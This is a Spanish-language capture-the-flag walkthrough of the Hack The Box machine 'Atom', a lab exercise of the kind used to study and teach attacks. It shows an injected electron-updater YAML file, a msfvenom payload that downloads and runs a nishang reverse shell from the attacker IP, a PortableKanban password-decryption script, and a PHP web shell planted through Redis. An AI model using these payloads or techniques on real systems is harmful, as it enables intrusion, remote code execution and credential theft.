Informacion de la Maquina
Atom presenta una aplicacion Electron. Explotamos una vulnerabilidad en un modulo de actualizacion que permitio ejecutar comandos a través de un archivo de actualizacion y acceso al servidor de actualizaciones. Obtuvimos credenciales a través de Portable Kanban lo que nos dio acceso a Redis donde encontramos la contraseña del administrador. Tambien, por medio de Redis escribimos una web shell que nos dio acceso privilegiado.
Recon
nmap
Escaneo de puertos con nmap nos muestra el puerto http (80), RPC (135), https (443) abiertos, samba (445) y el puerto redis (6379).
1# Nmap 7.91 scan initiated Wed May 5 19:48:52 2021 as: nmap -p- --min-rate 10000 -oN allports -Pn 10.10.10.237
2Nmap scan report for 10.10.10.237 (10.10.10.237)
3Host is up (0.14s latency).
4Not shown: 65530 filtered ports
5PORT STATE SERVICE
680/tcp open http
7135/tcp open msrpc
8443/tcp open https
9445/tcp open microsoft-ds
106379/tcp open redis
11
12# Nmap done at Wed May 5 19:49:30 2021 -- 1 IP address (1 host up) scanned in 38.47 seconds
13# Nmap 7.91 scan initiated Wed May 5 19:50:09 2021 as: nmap -Pn -p80,135,443,445,6379 -sV -sC -oN serviceports 10.10.10.237
14Nmap scan report for 10.10.10.237 (10.10.10.237)
15Host is up (0.069s latency).
16
17PORT STATE SERVICE VERSION
1880/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
19| http-methods:
20|_ Potentially risky methods: TRACE
21|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
22|_http-title: Heed Solutions
23135/tcp open msrpc Microsoft Windows RPC
24443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
25| http-methods:
26|_ Potentially risky methods: TRACE
27|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
28|_http-title: Heed Solutions
29| ssl-cert: Subject: commonName=localhost
30| Not valid before: 2009-11-10T23:48:47
31|_Not valid after: 2019-11-08T23:48:47
32|_ssl-date: TLS randomness does not represent time
33| tls-alpn:
34|_ http/1.1
35445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
366379/tcp open redis Redis key-value store
37Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows
38
39Host script results:
40|_clock-skew: mean: 2h30m27s, deviation: 4h02m30s, median: 10m26s
41| smb-os-discovery:
42| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
43| OS CPE: cpe:/o:microsoft:windows_10::-
44| Computer name: ATOM
45| NetBIOS computer name: ATOM\x00
46| Workgroup: WORKGROUP\x00
47|_ System time: 2021-05-05T17:00:56-07:00
48| smb-security-mode:
49| account_used: guest
50| authentication_level: user
51| challenge_response: supported
52|_ message_signing: disabled (dangerous, but default)
53| smb2-security-mode:
54| 2.02:
55|_ Message signing enabled but not required
56| smb2-time:
57| date: 2021-05-06T00:00:57
58|_ start_date: N/A
59
60Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
61# Nmap done at Wed May 5 19:51:07 2021 -- 1 IP address (1 host up) scanned in 57.87 secondsRPC
Utilizamos rpcclient con una sesion nulla pero no tenemos permisos de acceso.
1λ ~ rpcclient -U '' -N 10.10.10.237
2Cannot connect to server. Error was NT_STATUS_ACCESS_DENIEDEnum HTTP
Encontramos una pagina web en el puerto 80 donde se presenta el software Heed en su version 1.0.0

Gobuster
Gobuster mostró el mismo resultado para el puerto http (80) y https (443).
1λ ~/htb/atom gobuster dir -u http://atom.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q -t 50 -x php,html,txt,xml
2/index.html (Status: 200) [Size: 7581]
3/images (Status: 301) [Size: 330] [--> http://atom.htb/images/]
4/Images (Status: 301) [Size: 330] [--> http://atom.htb/Images/]
5/releases (Status: 301) [Size: 332] [--> http://atom.htb/releases/]
6/Index.html (Status: 200) [Size: 7581]
7/examples (Status: 503) [Size: 398]
8/licenses (Status: 403) [Size: 417]
9/IMAGES (Status: 301) [Size: 330] [--> http://atom.htb/IMAGES/]
10/%20 (Status: 403) [Size: 298]
11/INDEX.html (Status: 200) [Size: 7581]
12/Releases (Status: 301) [Size: 332] [--> http://atom.htb/Releases/]
13/server-status (Status: 403) [Size: 417]
14
15λ ~/htb/atom gobuster dir -u https://atom.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q -t 50 -x php,html,txt,xml -k
16/images (Status: 301) [Size: 332] [--> https://atom.htb/images/]
17/index.html (Status: 200) [Size: 7581]
18/Images (Status: 301) [Size: 332] [--> https://atom.htb/Images/]
19/releases (Status: 301) [Size: 334] [--> https://atom.htb/releases/]
20/Index.html (Status: 200) [Size: 7581]
21/examples (Status: 503) [Size: 399]
22/licenses (Status: 403) [Size: 418]
23/IMAGES (Status: 301) [Size: 332] [--> https://atom.htb/IMAGES/]
24/%20 (Status: 403) [Size: 299]
25/INDEX.html (Status: 200) [Size: 7581]
26/Releases (Status: 301) [Size: 334] [--> https://atom.htb/Releases/]
27/server-status (Status: 403) [Size: 418]Heed
Encontramos un archivo zip el cual contiene el software presentado en la pagina, al extraerlo vemos un ejecutable.
1λ ~/htb/atom/tmp ls
2 heed_setup_v1.0.0.zip 'heedv1 Setup 1.0.0.exe'El ejecutable parece ser un instalador, con winrar logramos obtener los archivos los cuales pertenecen a una aplicacion escrita con en Electron.

Vemos un archivo yaml (app-update.yml) el cual contiene una direccion que aparentemente es para realizar la actualizacion de la aplicacion.
1provider: generic
2url: 'http://updates.atom.htb'
3publisherName:
4 - HackTheBoxLa aplicacion solo crea y elimina notas, y al iniciar busca actualizaciones.

Heed Code
Utilizando npx con al archivo app.asar logramos obtener el codigo fuente, no encontramos direcciones de base de datos, la aplicacion solo funciona de forma local y temporal en cuanto a la informacion.
1# extract
2npx asar extract app.asar app_extractVemos que utiliza un modulo para “actualizar” la aplicacion: electron-updater - ^2.23.3.
1{
2 "name": "heedv2",
3 "version": "2.0.0",
4 "main": "main.js",
5 "description": "Open Source Application provided by HackTheBox",
6 "author": "MrR3boot",
7 "dependencies": {
8 "electron-log": "^1.3.0",
9 "electron-updater": "^2.23.3",
10 "url": "^0.11.0"
11 }
12}Enum Samba
CME
Utilizamos esta herramienta para obtener informacion del servicio de SAMBA con una sesion null, vemos los recursos compartidos, tenemos permisos en el recurso Software_Updates.
1λ ~/htb/atom cme smb --shares atom.htb -u 'null' -p 'null'
2SMB 10.10.10.237 445 ATOM [*] Windows 10 Pro 19042 x64 (name:ATOM) (domain:ATOM) (signing:False) (SMBv1:True)
3SMB 10.10.10.237 445 ATOM [+] ATOM\null:null
4SMB 10.10.10.237 445 ATOM [+] Enumerated shares
5SMB 10.10.10.237 445 ATOM Share Permissions Remark
6SMB 10.10.10.237 445 ATOM ----- ----------- ------
7SMB 10.10.10.237 445 ATOM ADMIN$ Remote Admin
8SMB 10.10.10.237 445 ATOM C$ Default share
9SMB 10.10.10.237 445 ATOM IPC$ Remote IPC
10SMB 10.10.10.237 445 ATOM Software_Updates READ,WRITE
11λ ~/htb/atomSmbclient
Con smbclient logramos enumerar el recurso donde vemos un archivo pdf.
1λ ~/htb/atom smbclient \\\\atom.htb\\Software_updates -u '' -p ''
2Try "help" to get a list of possible commands.
3smb: \> ls
4 . D 0 Thu May 6 02:17:47 2021
5 .. D 0 Thu May 6 02:17:47 2021
6 client1 D 0 Thu May 6 02:17:47 2021
7 client2 D 0 Thu May 6 02:17:47 2021
8 client3 D 0 Thu May 6 02:17:47 2021
9 UAT_Testing_Procedures.pdf A 35202 Fri Apr 9 07:18:08 2021
10
11 4413951 blocks of size 4096. 1262822 blocks available
12smb: \>El archivo es la documentacion del equipo de QA … menciona que antes de liberar una nueva version se realizan pruebas por parte del equipo, y para ello se debe de colocar en las carpetas de “cliente”, las cuales encontramos en el recurso Software_Updates aunque no especifica si es un archivo ejecutable.
1Heedv1.0
2Internal QA Documentation
3
4What is Heed ?
5Note taking application built with electron-builder which helps users in taking important
6notes.
7
8Features ?
9Very limited at the moment. There’s no server interaction when creating notes. So
10currently it just acts as a one-tier thick client application. We are planning to move it to a
11full fledged two-tier architecture sometime in the future releases.
12
13What about QA ?
14We follow the below process before releasing our products.
151. Build and install the application to make sure it works as we expect it to be.
162. Make sure that the update server running is in a private hardened instance. To
17initiate the QA process, just place the updates in one of the "client" folders, and
18the appropriate QA team will test it to ensure it finds an update and installs it
19correctly.
203. Follow the checklist to see if all given features are working as expected by the
21developer.User - Jason
RCE - Electron-Updater
Realizamos una busqueda de vulnerabilidades en Electron Updater y encontramos un post en el que explica que con un archivo .yml es posible ejecutar un exe y comandos, modificando la direccion url y path. En cuanto al exe, es decir v’ulnerable-app-setup-1.2.3.exe con una comilla simple se ejecutaría, por otro lado para ejecutar comandos se utilizan comillas dobles v';calc;'ulnerable-app-setup-1.2.3.exe.
1#latest.yml
2version: 1.2.3
3files:
4 - url: v';calc;'ulnerable-app-setup-1.2.3.exe
5 sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA==
6 size: 44653912
7path: v';calc;'ulnerable-app-1.2.3.exe
8sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA==
9releaseDate: '2019-11-20T11:17:02.627Z'Despues de realizar diferentes modificaciones al archivo latest.yml logramos ejecutar nuestra shell cambiando el nombre del archivo.
1version: 6.1.0
2files:
3- url: http://10.10.14.18/pay'load.exe
4 sha512: 0wdfkI8aLN9XrsK/JpYCtxTnvnPi3+ezGGIU72KpGCzEaANmsQh7/ohmRNDHFyxnr/OIqWLa6wqr72l1rMd3xg==
5 size: 73802
6path: pay'load.exe
7sha512: 0wdfkI8aLN9XrsK/JpYCtxTnvnPi3+ezGGIU72KpGCzEaANmsQh7/ohmRNDHFyxnr/OIqWLa6wqr72l1rMd3xg==
8releaseDate: '2021-05-05T11:17:02.627Z'1# Reverse shell
2echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.18 -Port 1338" >> nishang.ps1
3# EXE
4msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.10.14.18/nishang.ps1')\"" -f exe -o payload.exe
5# SHA512
6shasum -a 512 "pay'load.exe" | cut -d " " -f1 | xxd -r -p | base64 | tr -d "$\n"
7mv payload.exe "pay'load.exe"
8python3 -m http.server 80Para ejecutar comandos se agregan al nombre del archivo.
1# mv payload.exe "pay';nslookup test.local 10.10.14.18;'load.exe"Obtuvimos nuestra shell con el usuario Jason y la flag user.txt.
1λ ~/htb/atom nc -lvp 1338
2listening on [any] 1338 ...
3connect to [10.10.14.18] from atom.htb [10.10.10.237] 61151
4Windows PowerShell running as user jason on ATOM
5Copyright (C) 2015 Microsoft Corporation. All rights reserved.
6
7PS C:\WINDOWS\system32>whoami
8atom\jason
9PS C:\WINDOWS\system32> type C:\Users\jason\Desktop\user.txt
1013b9e357b45b1e0b0ff69bb4a5ee573c
11PS C:\WINDOWS\system32>Privesc
Portable Kanban
Enumerando las carpetas del usuario Jason encontramos PortableKanban, en el archivo de configuracion PortableKanban.cfg encontramos una contraseña encriptada.
1PS C:\Users\Jason\Downloads\portablekanban> cat C:\Users\Jason\Downloads\portablekanban\PortableKanban.cfg
2{"RoamingSettings":{"DataSource":"RedisServer","DbServer":"localhost","DbPort":6379,"DbEncPassword":"Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb","DbServer2":"","DbPort2":6379,"DbEncPassword2":"","DbIndex":0,"DbSsl":false,[... REDACTED ... ]}
3PS C:\Users\Jason\Downloads\portablekanban>Además encontramos un exploit con el cual logramos obtener en texto plano la contraseña.
1# Exploit Title: PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval
2import base64
3from des import * #python3 -m pip install des
4
5def decode(hash):
6 hash = base64.b64decode(hash.encode('utf-8'))
7 key = DesKey(b"7ly6UznJ")
8 return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')
9
10print(decode("Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb")) # kidvscat_yes_kidvscatRedis
Utilizamos la contraseña con redis-cli ya que existe el puerto 6379 abierto, encontramos una contraseña encriptada en una de las KEYS del “usuario” Administrator, utilizamos nuevamente el exploit para obtener en texto plano.
1λ ~/htb/atom/wwww redis-cli -h 10.10.10.237 -a "kidvscat_yes_kidvscat"
2Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
310.10.10.237:6379> ping
4PONG
510.10.10.237:6379> keys *
61) "pk:ids:MetaDataClass"
72) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
83) "pk:ids:User"
94) "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"
1010.10.10.237:6379> get pk:ids:MetaDataClass
11(error) WRONGTYPE Operation against a key holding the wrong kind of value
1210.10.10.237:6379> get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
13"{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",\"Inactive\":false,\"TimeStamp\":637530169606440253}"
1410.10.10.237:6379> get pk:ids:User
15(error) WRONGTYPE Operation against a key holding the wrong kind of value
1610.10.10.237:6379> get pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff
17"{\"Id\":\"ffffffffffffffffffffffffffffffff\",\"SchemaVersion\":\"4.2.0.0\",\"SchemaVersionModified\":\"\\/Date(1617420120000-0700)\\/\",\"SchemaVersionModifiedBy\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"SchemaVersionChecked\":\"\\/Date(-62135596800000-0000)\\/\",\"SchemaVersionCheckedBy\":\"00000000000000000000000000000000\",\"TimeStamp\":637530169345346438}"
18(0.54s)
1910.10.10.237:6379>Verificamos con crackmapexec, vemos que es la contraseña de Administrator y tenemos acceso completo.
1λ ~/htb/atom/wwww cme smb -u Administrator -p "kidvscat_admin_@123" --shares 10.10.10.237
2SMB 10.10.10.237 445 ATOM [*] Windows 10 Pro 19042 x64 (name:ATOM) (domain:ATOM) (signing:False) (SMBv1:True)
3SMB 10.10.10.237 445 ATOM [+] ATOM\Administrator:kidvscat_admin_@123 (Pwn3d!)
4SMB 10.10.10.237 445 ATOM [+] Enumerated shares
5SMB 10.10.10.237 445 ATOM Share Permissions Remark
6SMB 10.10.10.237 445 ATOM ----- ----------- ------
7SMB 10.10.10.237 445 ATOM ADMIN$ READ,WRITE Remote Admin
8SMB 10.10.10.237 445 ATOM C$ READ,WRITE Default share
9SMB 10.10.10.237 445 ATOM IPC$ Remote IPC
10SMB 10.10.10.237 445 ATOM Software_Updates READ,WRITE
11λ ~/htb/atom/wwwwWinrm
Por alguna razon el puerto de winrm no apareció en nmap, utilizamos este ultimo puerto para obtener una shell y nuestra flag root.txt.
1λ ~/htb/atom/wwww evil-winrm -i 10.10.10.237 -u Administrator -p "kidvscat_admin_@123"
2
3Evil-WinRM shell v2.4
4
5Info: Establishing connection to remote endpoint
6
7*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
8atom\administrator
9*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop
10*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
11
12
13 Directory: C:\Users\Administrator\Desktop
14
15
16Mode LastWriteTime Length Name
17---- ------------- ------ ----
18-ar--- 5/6/2021 4:43 PM 34 root.txt
19
20
21*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
2250448bb96c0c36cbc2b89e9bebff9588
23*Evil-WinRM* PS C:\Users\Administrator\Desktop>Redis to Root
Tambien mediante Redis logramos ejecutar comandos, modificando la configuracion de redis para escribir una web shell, similar a Postman - HTB.
1λ ~/htb/atom redis-cli -h 10.10.10.237 -a "kidvscat_yes_kidvscat"
2Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
310.10.10.237:6379> config set dbfilename redis.php
4OK
510.10.10.237:6379> set test "<?php echo(system($_GET['cmd'])); ?>"
6OK
710.10.10.237:6379> save
8OK
910.10.10.237:6379>Tambien encontramos las KEYS en nuestra webshell.
1λ ~/htb/atom/wwww curl -sX GET "http://atom.htb/redis.php?cmd=whoami%20/all" -o out.txt; cat out.txt
2REDIS0006
3 pk:ids:User$e8e29158-d70d-44b1-a1ba-4949d52790a0�9pk:urn:metadataclass:f-@�ff��J{"Id":"f�","SchemaVersion 24.2.0.0�Modifie@T\/Date(1617420120 -0700)\/�6By Ze8e29158d70d44b1a1ba4949d52790a�sCheck�r -621355968 r@t �
4 t7`s !� TimeStamp":637530169345346438}test$
5USER INFORMATION
6----------------
7
8User Name SID
9=================== ========
10nt authority\system S-1-5-18
11
12
13GROUP INFORMATION
14-----------------
15
16Group Name Type SID Attributes
17====================================== ================ ============ ==================================================
18BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
19Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
20NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
21Mandatory Label\System Mandatory Level Label S-1-16-16384
22
23
24PRIVILEGES INFORMATION
25----------------------
26
27Privilege Name Description State
28========================================= ================================================================== ========
29SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
30SeLockMemoryPrivilege Lock pages in memory Enabled
31SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
32SeTcbPrivilege Act as part of the operating system Enabled
33SeSecurityPrivilege Manage auditing and security log Disabled
34SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
35SeLoadDriverPrivilege Load and unload device drivers Disabled
36SeSystemProfilePrivilege Profile system performance Enabled
37SeSystemtimePrivilege Change the system time Disabled
38SeProfileSingleProcessPrivilege Profile single process Enabled
39SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
40SeCreatePagefilePrivilege Create a pagefile Enabled
41SeCreatePermanentPrivilege Create permanent shared objects Enabled
42SeBackupPrivilege Back up files and directories Disabled
43SeRestorePrivilege Restore files and directories Disabled
44SeShutdownPrivilege Shut down the system Disabled
45SeDebugPrivilege Debug programs Enabled
46SeAuditPrivilege Generate security audits Enabled
47SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
48SeChangeNotifyPrivilege Bypass traverse checking Enabled
49SeUndockPrivilege Remove computer from docking station Disabled
50SeManageVolumePrivilege Perform volume maintenance tasks Disabled
51SeImpersonatePrivilege Impersonate a client after authentication Enabled
52SeCreateGlobalPrivilege Create global objects Enabled
53SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
54SeTimeZonePrivilege Change the time zone Enabled
55SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
56SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
57
5852790a0","Name )29158-d70d-44b1-a1ba-4949d52790a0���{"Id":"e8e29158d70d44b1a1ba4949d
59Email Administrator Initials
60ncryptedPasswor@fOdh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi ARol�f Inactiv f de,"TimeStamp":637530169606440253}pk:ids:MetaDataClass�$ff-@�ffs-key$
61[ ... REDACTED ... ]
62
63�
64λ ~/htb/atom/wwwwRedis Process
Con la shell que obtuvimos con WINRM encontramos que redis-server esta siendo ejecutado por el administrador y es por eso que logramos ejecutar comandos privilegiados en REDIS TO ROOT.
1*Evil-WinRM* PS C:\xampp\htdocs> Get-Process -Name redis-server -IncludeUserName
2
3Handles WS(K) CPU(s) Id UserName ProcessName
4------- ----- ------ -- -------- -----------
5 126 20628 0.61 7712 NT AUTHORITY\NETWOR... redis-server
